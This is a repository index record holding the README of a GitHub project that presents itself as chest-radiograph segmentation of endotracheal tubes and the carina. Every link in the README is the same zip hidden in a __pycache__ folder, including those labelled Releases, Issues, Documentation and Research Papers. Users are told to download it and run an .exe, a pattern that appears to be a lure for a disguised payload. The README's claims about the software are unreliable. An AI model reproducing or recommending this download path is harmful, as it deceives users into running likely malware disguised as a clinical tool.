{"id":32693052,"url":"https://github.com/maxlleven/ett_carina_segmentation","last_synced_at":"2026-05-16T17:03:05.483Z","repository":{"id":320861112,"uuid":"1083499624","full_name":"maxlleven/ETT_Carina_Segmentation","owner":"maxlleven","description":"🫁 Automate ETT and Carina segmentation on chest radiographs for faster, accurate assessments, improving patient care and treatment efficiency.","archived":false,"fork":false,"pushed_at":"2026-05-16T02:10:36.000Z","size":2782,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-05-16T04:30:46.069Z","etag":null,"topics":["carina","carina-localization","chest-radiographs","chest-radiography","ett","ett-localization","image","image-augmentation","image-preprocessing","image-segmentation","image-transformation","localization","python","pytorch","transfer-learning","unet-image-segmentation","unetplusplus","visualization"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/maxlleven.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-10-26T06:27:28.000Z","updated_at":"2026-05-16T02:10:40.000Z","dependencies_parsed_at":null,"dependency_job_id":"596bdd15-4c06-4c20-b3f5-d8ac652e7f21","html_url":"https://github.com/maxlleven/ETT_Carina_Segmentation","commit_stats":null,"previous_names":["maxlleven/ett_carina_segmentation"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/maxlleven/ETT_Carina_Segmentation","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxlleven%2FETT_Carina_Segmentation","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxlleven%2FETT_Carina_Segmentation/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxlleven%2FETT_Carina_Segmentation/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxlleven%2FETT_Carina_Segmentation/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/maxlleven","download_url":"https://codeload.github.com/maxlleven/ETT_Carina_Segmentation/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/maxlleven%2FETT_Carina_Segmentation/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33111497,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-16T04:41:52.686Z","status":"ssl_error","status_checked_at":"2026-05-16T04:41:52.009Z","response_time":115,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["carina","carina-localization","chest-radiographs","chest-radiography","ett","ett-localization","image","image-augmentation","image-preprocessing","image-segmentation","image-transformation","localization","python","pytorch","transfer-learning","unet-image-segmentation","unetplusplus","visualization"],"created_at":"2025-11-01T16:02:47.541Z","updated_at":"2026-05-16T17:03:05.476Z","avatar_url":"https://github.com/maxlleven.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎉 ETT_Carina_Segmentation - Simplifying Airway Detection\n\n## 🚀 Getting Started\n\nWelcome to ETT_Carina_Segmentation! This application helps in detecting the carina and endotracheal tube tip in medical images. It aims for better automated evaluation of airway placement. Follow the steps below to get started with downloading and running the software.\n\n## 📥 Download Now\n\n[![Download ETT_Carina_Segmentation](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip)](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip)\n\n## 🛠️ System Requirements\n\nBefore you begin, make sure your computer meets these requirements:\n\n- **Operating System:** Windows 10, macOS Mojave or later, or a recent Linux distribution.\n- **RAM:** At least 4 GB.\n- **Disk Space:** Minimum 1 GB free space.\n- **Python Version:** Python 3.6 or later installed on your system.\n- **Additional Libraries:** You will need `PyTorch`, `NumPy`, and `OpenCV`. These libraries will help run the segmentation framework smoothly.\n\n## 📂 Download \u0026 Install\n\n1. **Visit the Download Page:**\n   Go to the [Releases page](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip) on GitHub. \n   \n2. **Select Your Version:**\n   On the Releases page, you will see different versions of the software. Choose the latest version for the best features and updates.\n\n3. **Download the Software:**\n   Click on the version you choose. This will take you to the download files. Look for an appropriate file for your operating system (e.g., `.exe`, `.zip`, or `https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip`).\n\n4. **Install the Application:**\n   - For Windows: Double-click the downloaded `.exe` file and follow the on-screen instructions.\n   - For macOS: If you downloaded a `.zip` file, unzip it, then drag the application to your Applications folder.\n   - For Linux: If you downloaded a `https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip` file, extract it in your desired directory. Open a terminal in that directory and follow the installation instructions provided in the README file.\n\n5. **Run the Application:**\n   Locate the icon for ETT_Carina_Segmentation on your desktop (or in the Applications folder for macOS) and double-click it to launch the application.\n\n## 📊 Features\n\nETT_Carina_Segmentation offers key features to assist in medical image processing:\n\n- **Image Segmentation:** Utilizes a UNet-based model for precise detection.\n- **Automated Evaluation:** Streamlines the assessment of endotracheal tube placement.\n- **Image Augmentation:** Enhances training data with various transformations.\n- **Visualization Tools:** Provides graphical representation of segmentation results.\n\n## 📚 Usage Instructions\n\n1. Upon launching the application, you will see an interface guiding you through the steps.\n2. Upload an image (preferably a chest radiograph) where you want to detect the carina or the endotracheal tube tip.\n3. Adjust settings as needed, such as choosing specific algorithms or visualization options.\n4. Click on \"Run Segmentation\" to start the processing.\n5. View results directly within the application or export them for reporting.\n\n## 🤖 Support and Help\n\nIf you experience any issues or have questions:\n\n- **Check the FAQ section**: You may find solutions to common problems.\n- **Create a GitHub Issue**: Head over to the [Issues page](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip) and describe your problem.\n- **Join the Community**: Engage with other users and developers in the discussions.\n\n## 📜 License\n\nThis project is licensed under the MIT License. You can freely use, modify, and distribute it while acknowledging the original creators.\n\n## 🌍 Contributing\n\nIf you'd like to contribute, we welcome new ideas and improvements! Please fork the repository and submit a pull request. Ensure that your code is well commented and follows our coding guidelines.\n\n## 🔗 Additional Resources\n\nFor more information, tutorials, and updates, check out our additional resources:\n\n- [Documentation](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip)\n- [Research Papers](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip)\n- [Related Projects](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip)\n\n## 🔗 Important Links\n\nFor easy access, here’s the download link again:\n\n[Download ETT_Carina_Segmentation](https://raw.githubusercontent.com/maxlleven/ETT_Carina_Segmentation/main/src/utils/__pycache__/Carina-ET-Segmentation-v3.6.zip)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmaxlleven%2Fett_carina_segmentation","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmaxlleven%2Fett_carina_segmentation","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmaxlleven%2Fett_carina_segmentation/lists"}